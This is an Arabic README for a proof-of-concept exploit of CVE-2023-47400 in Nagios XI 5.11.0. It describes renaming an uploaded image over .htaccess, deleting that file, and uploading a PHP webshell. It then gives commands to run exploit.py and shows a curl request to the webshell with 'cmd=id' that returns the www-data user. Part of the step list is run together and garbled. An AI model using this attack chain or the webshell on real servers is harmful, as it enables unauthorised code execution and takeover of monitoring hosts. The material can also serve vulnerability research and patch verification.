
إثبات المفهوم لـ CVE-2023-47400
إثبات المفهوم لـ CVE-2023-47400
تنفيذ كود PHP عن بُعد بعد المصادقة عبر كتابة ملفات عشوائية على Nagios XI 5.11.0
[!Note] يستند هذا الإثبات المفاهيمي (PoC) إلى النشرة الفنية التي نشرتها مجموعة NCC https://research.nccgroup.com/2023/12/13/technical-advisory-multiple-vulnerabilities-in-nagios-xi/
يتبع هذا الإثبات المفاهيمي العملية التالية:
placeholder.jpg (ترويسة البايتات السحرية JFIF فقط، دون أي محتوى)rename في Custom Includes لإعادة تسمية الصورة إلى .htaccess (مما يؤدي إلى استبدال ملف .htaccess الموجود)delete في Custom Includes لحذف ملف .htaccess.jpg.php)يؤدي استغلال هذه الثغرة إلى تنفيذ كود عن بُعد على مضيف Nagios XI، متجاوزًا مرشحات رفع الملفات (عبر مرشحات توقيع الملف وامتداد الملف) ومنع تنفيذ PHP (عبر .htaccess).
[!Warning] يقوم هذا الاستغلال بمسح ملف
<NAGIOS_WEB_ROOT>/includes/components/custom-includes/images/.htaccessالموجود على المضيف للسماح بتنفيذ كود PHP!
# create a venv to dependency isolation
python3 -m venv .venv
source .venv/bin/activate
# run pip install before running the exploit
pip install -r requirements.txt
تخصيص حمولة PHP التي سيتم وضعها في مجلد رفع الصور
تشغيل سكربت الاستغلال:
python exploit.py
# the exploit generates a webshell and upload it with uuid as filename
[...]
INFO:cve_2023_47400:Successfuly uploaded payload at
INFO:cve_2023_47400:Usage :https://10.10.11.248/nagiosxi/includes/components/custom-includes/images/6ac234ca-8921-4e7e-a833-bf1ba03d2a3c.jpg.php
INFO:cve_2023_47400:Exploit completed successfuly
$ curl -k 'https://10.10.11.248/nagiosxi/includes/components/custom-includes/images/6ac234ca-8921-4e7e-a833-bf1ba03d2a3c.jpg.php?cmd=id' --output -
JFIF
uid=33(www-data) gid=33(www-data) groups=33(www-data),121(Debian-snmp),1001(nagios),1002(nagcmd)